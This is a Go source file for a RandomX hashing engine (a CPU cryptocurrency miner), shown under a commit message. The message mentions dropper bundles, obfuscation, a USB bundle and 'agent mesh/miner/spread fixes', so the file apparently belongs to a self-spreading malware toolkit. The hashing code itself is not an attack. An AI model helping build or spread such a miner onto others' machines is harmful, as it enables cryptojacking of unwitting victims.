WS ticket dashboard auth, builder universal signing/size limits/fusion obfuscation/dropper bundles, Path Tracer WireGuard topology, SessionGate degraded mode and download timeouts, server bootstrap (data dir, cloudflared dedupe, config port precedence), agent mesh/miner/spread fixes. README refreshed; usb bundle repacked; PROBLEMS.md audit log updated.
86 lines
2.0 KiB
Go
86 lines
2.0 KiB
Go
package miner
|
|
|
|
import (
|
|
"encoding/hex"
|
|
"errors"
|
|
"fmt"
|
|
"sync"
|
|
|
|
"git.gammaspectra.live/P2Pool/go-randomx"
|
|
)
|
|
|
|
var (
|
|
ErrEngineNotReady = errors.New("randomx VM not initialized")
|
|
ErrBlobTooShort = errors.New("blob shorter than nonce offset")
|
|
)
|
|
|
|
const nonceOffset = 39
|
|
const nonceSize = 4
|
|
|
|
// go-randomx is a pure-Go implementation; hardware flags are ignored internally.
|
|
const randomxFlags = 0
|
|
|
|
type Engine struct {
|
|
mu sync.RWMutex
|
|
cache *randomx.Randomx_Cache
|
|
vm *randomx.VM
|
|
seedHex string
|
|
blob []byte
|
|
}
|
|
|
|
func NewEngine() *Engine {
|
|
cache := randomx.Randomx_alloc_cache(randomxFlags)
|
|
return &Engine{cache: cache}
|
|
}
|
|
|
|
func (e *Engine) SetJob(seedHex, blobHex string) error {
|
|
seed, err := hex.DecodeString(seedHex)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
blob, err := hex.DecodeString(blobHex)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
|
|
e.mu.Lock()
|
|
defer e.mu.Unlock()
|
|
|
|
if e.seedHex != seedHex {
|
|
e.cache.Randomx_init_cache(seed)
|
|
// go-randomx requires SuperScalar programs to be built separately after
|
|
// seeding the cache; Randomx_init_cache only populates the Argon2d blocks.
|
|
// Without this step every CalculateHash call crashes with a nil-pointer.
|
|
gen := randomx.Init_Blake2Generator(seed, 0)
|
|
for i := range e.cache.Programs {
|
|
e.cache.Programs[i] = randomx.Build_SuperScalar_Program(gen)
|
|
}
|
|
e.vm = e.cache.VM_Initialize()
|
|
e.seedHex = seedHex
|
|
}
|
|
e.blob = append([]byte(nil), blob...)
|
|
return nil
|
|
}
|
|
|
|
func (e *Engine) HashAtNonce(nonce uint32) (hashHex string, blobHex string, err error) {
|
|
e.mu.RLock()
|
|
defer e.mu.RUnlock()
|
|
|
|
if e.vm == nil {
|
|
return "", "", ErrEngineNotReady
|
|
}
|
|
if len(e.blob) < nonceOffset+nonceSize {
|
|
return "", "", fmt.Errorf("%w (need %d bytes, have %d)", ErrBlobTooShort, nonceOffset+nonceSize, len(e.blob))
|
|
}
|
|
|
|
work := append([]byte(nil), e.blob...)
|
|
work[nonceOffset] = byte(nonce)
|
|
work[nonceOffset+1] = byte(nonce >> 8)
|
|
work[nonceOffset+2] = byte(nonce >> 16)
|
|
work[nonceOffset+3] = byte(nonce >> 24)
|
|
|
|
out := make([]byte, 32)
|
|
e.vm.CalculateHash(work, out)
|
|
return hex.EncodeToString(out), hex.EncodeToString(work), nil
|
|
}
|